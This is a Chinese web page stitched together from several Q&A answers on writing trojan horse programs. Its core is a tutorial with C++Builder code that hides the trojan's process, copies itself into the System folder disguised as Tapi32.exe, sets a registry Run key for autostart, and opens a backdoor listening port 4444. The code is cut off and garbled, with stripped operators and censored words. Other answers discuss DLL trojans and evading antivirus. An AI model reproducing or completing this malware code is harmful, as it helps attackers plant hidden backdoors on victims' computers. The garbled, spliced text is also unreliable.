怎样编写木马程序_木马程序是怎么编写的

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简单的木马怎么编写啊?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

//定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

//得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

//执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

//卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。

接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

//定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

//格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

//定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

//设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\

CurrentVersion\\Run",TRUE);

//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

//如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

//查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

//如果不是,就写入以上键值和内容

}

catch(...)

{

//如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

//定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s%2

如何来建一个木马程序

用C++编写的木马程序

DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。

DLL木马的原理

DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。

正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:

怎么用C语言编写木马、病毒等程序?

C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。\x0d\x0a如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等

木马用哪些编程语言写的?

一般是用VB或delphi编程语言来编写木马、病毒

别小看

那几K东西哟,或许你就会爱上他!想编写木马,你可以多掌握宏观的计算机知识,比如木马有多少 *** 传送!用什么手段在传播!用什么 *** 来回避杀毒软件!用什么 *** 监控你的计算机!用什么 *** 运行还不会让你感觉机器卡!编写很容易

想作个NO1的木马

不是那么容易的!熊猫烧香这个病毒是借用蠕虫病毒的变种,加上自己的程序而成的!变异:也就是这么产生的,电脑病毒不会想生物体病毒那么样自己来变异,而是认为的来变异!

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